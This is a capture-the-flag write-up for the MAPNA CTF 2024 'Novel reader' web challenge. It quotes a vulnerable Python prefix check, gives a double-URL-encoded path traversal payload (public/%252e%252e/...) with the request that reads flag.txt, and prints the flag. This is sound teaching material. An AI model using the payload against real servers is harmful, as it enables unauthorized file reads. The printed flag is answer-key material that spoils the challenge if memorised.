## Web/Novel reader (119 solves)> We have many fun novels for ya...
The website seems to be an article reader with one article we cannot read, and we can only read a few words with our balance.
![Home Page](https://seall.dev/images/ctfs/mapnactf2024/novel-reader-1.png)
I look into the web request for the article reading and the source code has the following segment:
```pythonname = unquote(name)if(not name.startswith('public/')):    return {'success': False, 'msg': 'You can only read public novels!'}, 400```
`unquote` from `urllib.parse` and does URL decoding, so we can avoid that with layering of url encoding. Eg. `%2e` -> `%252e`
We then see that the path has to start with `public/` to be read.
We can achieve path traversal to read the flag using the following payload: `public/%252e%252e/%252e%252e/flag.txt`
Making the final web request to `/api/read/public/%252e%252e/%252e%252e/flag.txt` gives us the flag.
Flag: `MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}`
**Files:** [novel-reader_d78366cb079727a6bd3809219df9bc7835d17fd1.txz](https://web.archive.org/web/20240121175613/https://mapnactf.com/tasks/novel-reader_d78366cb079727a6bd3809219df9bc7835d17fd1.txz)